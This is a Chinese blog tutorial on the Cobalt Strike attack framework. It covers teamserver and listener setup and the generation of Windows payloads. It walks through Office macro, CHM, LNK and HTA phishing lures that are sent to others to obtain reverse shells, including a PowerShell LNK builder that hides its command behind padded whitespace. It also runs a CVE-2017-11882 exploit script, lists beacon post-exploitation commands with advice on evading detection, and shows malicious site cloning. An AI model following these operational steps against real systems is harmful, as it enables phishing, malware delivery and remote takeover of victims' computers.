Cobalt Strike的使用

 

【下列实验有一个前提就是对方要能ping通你搭的服务器。】

Cobalt Strike简介:

  • Cobalt Strike是一款渗透测试软件,分为客户端与服务端,服务端是一个,客户端可以有多个,可以进行团队分布式操作
  • Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。

 

Cobalt Strike的安装

Ubuntu 默认只有openjdk的源,但是cobalt strike建议使用oracle jdk需要需要先加入源。

  1. apt-get install software-properties-common python-software-propertie
  2. add-apt-repository ppa:webupd8team/java
  3. apt-get update
  4. apt-get install oracle-Java8-installer

安装成功:

下载好Cobalt Strike工具然后解压缩

Cobalt Strike的使用_第1张图片

进入Cobalt Strike文件内部开启服务

sudo ./teamserver 10.60.17.46 123456

Cobalt Strike的使用_第2张图片

后面这两个数是服务器IP(ubuntu的IP和密码)

配置客户端

客户端需要安装java环境,平台并无特殊要求。

  • Ubuntu:java-jar cobalt strike
  • windows直接双击启动

在windows下双击cobaltstrike.jar

Cobalt Strike的使用_第3张图片

host:服务器主机
port:50050
user:自定
password:服务器设置的

客户端主界面

Cobalt Strike的使用_第4张图片

使用

首先配置监听器:

点击上方Cobalt Strike选项——>在下拉框中选择listeners——>在下方弹出区域中单机add

Cobalt Strike的使用_第5张图片

name:为监听器名字。

选择payload类型

host为shell反弹接受主机(服务端IP)

port为反弹端口

Cobalt Strike的使用_第6张图片

其实,监听器的作用很简单,主要是为了接受payload回传的各类数据 
比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的
  • beacon  为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多
    
  • foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

生成payload:

点击attacks——>packages——>windows executable

listener为监听器名字

output为输出靶机类型。

点击generate弹出的对话框中选择保存位置和输入payload名字。

Cobalt Strike的使用_第7张图片

在windows靶机中双击payload生成文件(artifact.exe)

Cobalt Strike的使用_第8张图片

得到反弹shell

Cobalt Strike的使用_第9张图片

主机上线以后需要将默认心跳包改成0,cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿。

修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定

 

右键弹出的内容下拉菜单中选择Interact,上线主机。

Cobalt Strike的使用_第10张图片

 

Office钓鱼

office钓鱼在无需交互、用户无感知的情况下,执行Office文档中内嵌的一段恶意代码,从远控地址中下载并运行恶意可执行程序,例如远控木马或者勒索病毒等。

 

Cobalt Strike office钓鱼主要方法是生成一段vba代码,然后将代码复制到office套件中,当用户启动office自动运行

具体操作:

点击Cobalt Strike主界面中attacks->packages->ms office macro

弹出界面选择Listener,单机确定


对话框中给出每一步仔细操作,单机copy macro按钮

Cobalt Strike的使用_第11张图片

word操作

 

  • 点击上方标签视图标签
  • 在该标签中点击宏按钮,弹出的对话框中输入宏名字,然后单机创建按钮

Cobalt Strike的使用_第12张图片

  • 首先清空所有代码,然后将复制的代码粘贴到编辑器中,关闭宏编辑窗口
  • 保存退出
  • 双击再次运行保存的文档

当目标机器运行文档以后,Cobalt Strike会接受到目标机器反弹的shell

目标则会增加一个rundll32.exe的进程

Cobalt Strike的使用_第13张图片

 

CVE-2017-11882漏洞简介

  • 漏洞为0ffice内存破坏漏洞,影响目前流行的所有0ffice版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。
  • 该漏洞出现在模块EQNEDT32.EXE中,属于栈溢出漏洞,是对Equation Native 数据结构处理不当导致。

漏洞影响

  • Microsoft Office 2007
  • Microsoft Office 2010
  • Microsoft Office 2013
  • Microsoft Office 2016

复现:

下载https://github.com/Ridter/CVE-2017-11882python攻击脚本。

虽然是栈溢出漏洞,但是该漏洞对于命令有限制,分为可以执行43b和执行109b,所以在利用过程需要注意命令长度。

python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe"

Cobalt Strike的使用_第14张图片

 

CHM钓鱼

CHM介绍

  • CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
  • 利用CHM钓鱼主要原因是因为该文档可以执行cmd命令

 

这里制作CHM需要用到一个工具就是  EasyCHM

 

CHM制作过程:

创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。

Cobalt Strike的使用_第15张图片

先将下列代码复制到根文件夹中的index.html中。

Mousejack replay
command exec 


 
 
 



打开我们的EasyCHM工具

后点击新建

Cobalt Strike的使用_第16张图片

然后导入自己创建的文件夹,点击确定后再点击编译,在弹出的对话框中点击生成CHM按钮

Cobalt Strike的使用_第17张图片

它会给你生产一个CHM文件,给别人发过去,一旦点击就会给弹出计算机

Cobalt Strike的使用_第18张图片

生产钓鱼文件

启动Cobalt Strike,点击attacks——>web Drive by——>scripted web Delivery在弹出的对话框中将type类型设置为powershell然后单击launch按钮

再用代码将上面创建的根文件夹中的index.html代码中的calc.exe替换掉。

Cobalt Strike的使用_第19张图片

Cobalt Strike的使用_第20张图片

 Mousejack replay
command exec 


 
 
 



生产CHM发送给别人,点击后获得反弹的shell

Cobalt Strike的使用_第21张图片

 

LNK钓鱼

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。
lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。

 

先做个简单的powershell生产图标:

创建个txt文本写入下面代码然后改文件后缀名为.ps1。

cmd /c calc.exe

 右键文件powershell运行后会弹出计算器

钓鱼方法:

首先通过Cobalt Strike的attacks——>web Drive by——>scripted web Delivery

tpye类型为powershell,然后单机launch。生产代码。

还记的上面做的那个简单的powershell么,后缀改回txt,将生成的代码替换掉calc.exe

Cobalt Strike的使用_第22张图片

 将下面的powershell代码写入.ps1文件,右键运行powershell。

$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = '                                                                                                                                                                                                                                    '+ $file
$Shortcut.Save()

 

生成test.lnk文件,而且图标改了(powershell执行文件要和test.txt要在一个目录下,这个图标所在位置就在%SystemRoot%\System32\Shell32.dll目录下)

后将test.lnk发送给他人,获得反弹shell。

Cobalt Strike的使用_第23张图片

 

HTA钓鱼

 

  • HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。
  • HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,它具有桌面程序的所有权限。
  • 就是一个html应用程序,双击就能运行。

 

Cobalt Strike,attacks——>packages——>HTML application

Cobalt Strike的使用_第24张图片

选择powershell然后单机generate,选择保存路径。

将生成的.hta文件发送给别人,点击后获得shell

Cobalt Strike的使用_第25张图片

 

后渗透阶段

相信你已经能拿到一个beacon的shell了。

下面是一些基本的使用命令,但是cs监听器对中文支持并不友好,会对中文产生乱码。

help     查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样,eg: help checkin 
note     给当前目录机器起个名字, eg: note beacon-shell
cd	 在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/' eg: cd c:\\
mkdir 	 新建目录, eg: mkdir d:\\beacon
rm 	 删除文件或目录, eg: rm d:\\beacon
upload 	 上传文件到目标系统中
download 从目标系统下载指定文件,eg: download C:\\Users\\win7cn\\Desktop\\putty.exe
cancel	 取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下
shell	 在目标系统中执行指定的cmd命令, eg: shell whoami
getuid 	 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权
pwd	 查看当前在目录系统中的路径
ls	 列出当前目录下的所有文件和目录
drives	 列表出目标系统的所有分区[win中叫盘符]
ps	 查看目标系统当前的所有的进程列表
kill	 杀掉指定进程, eg: kill 4653
sleep 10 指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可
jobs	 列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除
jobkill	 如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, eg: jobkill 1345
clear	 清除beacon内部的任务队列
checkin	 强制让被控端回连一次
exit 	 终止当前beacon 会话
ctrl + k 清屏

Cobalt Strike的使用_第26张图片

有些可能会触发敏感api导致防护报警,另外进程注入,被控端可能感到非常明显的卡顿,工具也有许多不完善的地方

 

网站克隆

  • Cobalt Strike还能够实现网站克隆
  • cotalt strike能够快速复制目标网站前端页面,并且复制相识度极高
  • cotalt strike同时还可以在复制的网站中插入恶意代码,如果本地浏览器带有漏洞的用户,可以直接控制目标机器。

点击attacks——>Web Drive-by——>Clone site

Cobalt Strike的使用_第27张图片

  • Clone URL:克隆目标网站的URL(如果网站不是80端口的话域名后得跟上端口号。)
  • 注意问题:URL需要添加http协议和端口(81)
  • Local URL:本地克隆路径
  • Local Host:本地主机IP
  • Local Port:本地端口
  • Attack:克隆后目标网站执行脚本,如:flash漏洞

 

 

Cobalt Strike的使用_第28张图片

 

未完待更新!

 

 

 

 

 

 

 

你可能感兴趣的:(信息收集)